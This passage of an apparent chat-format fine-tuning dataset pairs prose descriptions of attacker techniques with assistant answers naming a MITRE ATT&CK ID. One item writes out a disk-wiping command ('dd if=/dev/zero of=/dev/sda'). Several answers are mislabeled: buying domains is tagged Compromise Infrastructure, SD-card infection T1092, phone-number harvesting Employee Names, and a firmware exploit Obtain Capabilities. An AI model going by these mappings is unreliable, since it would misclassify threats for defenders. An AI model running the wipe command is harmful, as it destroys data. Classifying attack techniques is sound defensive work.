                "content": "During the intrusion, the malicious actor provisions a new OpenStack instance using stolen API keys to expand their foothold."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by placing a crafted XDG autostart entry in /etc/xdg/autostart, causing the payload to execute each time the desktop environment starts."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script runs in the victim's browser to retrieve the list of installed browsers and their versions for fingerprinting."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks the Windows Time Service by registering a malicious time provider, enabling code execution at login."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware payload reconfigures the victim’s disk encryption to use a 56‑bit key, making it trivial to break."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker sends a personalized message on a professional networking site containing a link to a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was distributed as a signed installer after the attacker compromised the signing server and added their code."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration of sensitive data via phishing emails"
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited weak RDP passwords to log in and execute commands on the target system."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script hooks the Windows message loop to log all keyboard activity on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages mimikatz to pull credential material from the SAM database."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By appending an LC_LOAD_DYLIB command to the Mach-O header, the malicious code ensures its payload is executed whenever the target app starts."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT1 used a file attribute manipulation technique to adjust the 'last modified' and 'created' dates of their payload."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited a third‑party web service that allowed remote PowerShell execution to manage infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor calls CreateRemoteThread on a high‑privilege process, injecting malicious shellcode and hijacking the remote thread to run the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script mistakenly publishes the Docker Engine API over HTTP, enabling remote attackers to request the /containers/json endpoint and retrieve environment variables containing API keys."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses standard data encoding (e.g., Base64) to mask exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To harvest credentials, the attacker utilizes the kerberoast technique: requesting service tickets for privileged accounts and then using hashcat to recover the passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors encode stolen data using a proprietary base64 variant that replaces the standard '+' and '/' characters with '-' and '_' before uploading to a cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies browser history files into a hidden staging location awaiting exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the ptrace system call to attach to a running process and inject malicious code into its memory space."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan leverages .NET reflection to load and execute bytecode stored in environment variables, avoiding any file writes."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering information about the target network using reconnaissance techniques"
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed the server via SSH using a weak password and replaced the site’s footer with a personal signature."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider creates a serverless function with elevated network access to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a cloud workload, the threat actor used the instance's metadata service to obtain a short‑lived token, which they used to create new privileged IAM roles."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects credentials into the registry key HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Tcpip\\\\Parameters by modifying the \"Hostname\" value to contain a password string."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Password spraying attack across multiple accounts with common passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell command invokes a Python interpreter to run a credential‑stealing script."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation module calls \"Get-WmiObject -Class Win32_Share\" to discover shared folders across the network."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor injects a configuration change that forces all traffic to use DES encryption."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the Security Packages registry value, the attacker ensures their code runs each time a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves editing the kernel's code signing parameters to accept modified drivers."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to a hardware firmware image during the manufacturing process, which later installs a persistent agent on all devices shipped."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs a reflection‑based DDoS by sending forged DNS queries to open resolvers, resulting in responses that are many times larger than the queries, directed at the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sets up an encrypted channel over an SSH reverse tunnel to bypass firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device was taken over by exploiting a firmware flaw, enabling the attacker to launch lateral movement and install further malicious modules."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs a credential dumping tool to create a new domain account with duplicated permissions."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑compromise tool reads the memory of the macOS securityd service to capture OAuth tokens and saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes AS‑REP roasting, where the adversary sends AS requests for users with pre‑authentication disabled and captures the response for offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses nmap to discover open FTP and SSH ports across the internal subnet for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a disguised shell script that logs keystrokes and writes them to `/var/tmp/keylog.txt` before transmitting the file via `ftp`."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrapes the Chrome \"History\" SQLite database to compile a list of visited URLs and timestamps."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators use tools like theHarvester to scrape open web sources and domain metadata for reconnaissance on a potential victim."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest employee phone numbers from corporate directory listings publicly indexed."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the @loader_path in a macOS binary, the adversary redirects the loader to a malicious dylib that is signed with a valid certificate, achieving execution of arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses SMB protocol to copy malicious DLLs to remote machines and execute them."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stolen files are first compressed then Base64‑encoded to ensure they survive HTTP transport."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary used the system binary msiexec to launch a payload by passing a command line that runs a hidden PowerShell command through the /log parameter."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables process interrupt handling via a privileged script, causing the OS to ignore kill signals aimed at the malicious process."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gathered Wi-Fi SSID and BSSID information from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a malicious DLL as a printer driver via the PubPrn interface, causing the system to load and execute the DLL each time a document is printed."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT team purchased domains using cryptocurrency to avoid traceability and host their exfiltration server."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a launch daemon that periodically checks for internet connectivity and contacts a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a Linux bash script to execute \"dpkg -l\" and \"rpm -qa\" to harvest the victim's installed package list and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor creates a SOCKS proxy over an HTTP connection to route internal traffic to external hosts."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the attacker used the built‑in SFTP client to upload stolen credentials to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies an existing launch daemon’s plist to point to a compromised executable, enabling persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a script that runs 'dd if=/dev/zero of=/dev/sda bs=1M' to wipe the disk."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a malicious script to a removable SD card, which is then used to infect another computer when the card is inserted."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a PowerShell script that establishes a reverse proxy on the victim’s machine, allowing the attacker to issue commands through the proxy channel."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary updates the domain's Group Policy Objects (GPOs) to add a new scheduled task with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a PowerShell script to dump all entries from the Windows Credential Manager and harvest saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators impersonate a legitimate system process by running their tool under the name 'explorer.exe'."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the Windows LSASS process with a hijacked version that logs plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware transfers tools via SMB to a newly compromised host as part of lateral tool transfer."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer runs a JavaScript file via cscript.exe to modify system firewall settings."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scraped the configuration of the enterprise's next-generation firewall to map security zones."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows utility mmc.exe to load a malicious .MSC file that runs a PowerShell payload, leveraging the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor hijacks a popular news site, adding malicious JavaScript that silently downloads a remote access trojan to any visitor's browser."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a misconfigured Nginx server to serve a malicious payload that establishes a reverse shell on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercrime group purchases encrypted communication platforms to coordinate attacks."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a systemd drop-in file to override the ExecStart command of a critical service with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script automatically extracts URLs from the victim’s public web pages to build a map of all associated web services."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the 'schtasks' utility, the adversary scheduled a task that runs a harmless-looking command which in turn triggers the execution of a hidden payload, illustrating indirect command execution."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivered a crafted XSL stylesheet to a vulnerable web server, causing the server to execute embedded script commands during XML transformation."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
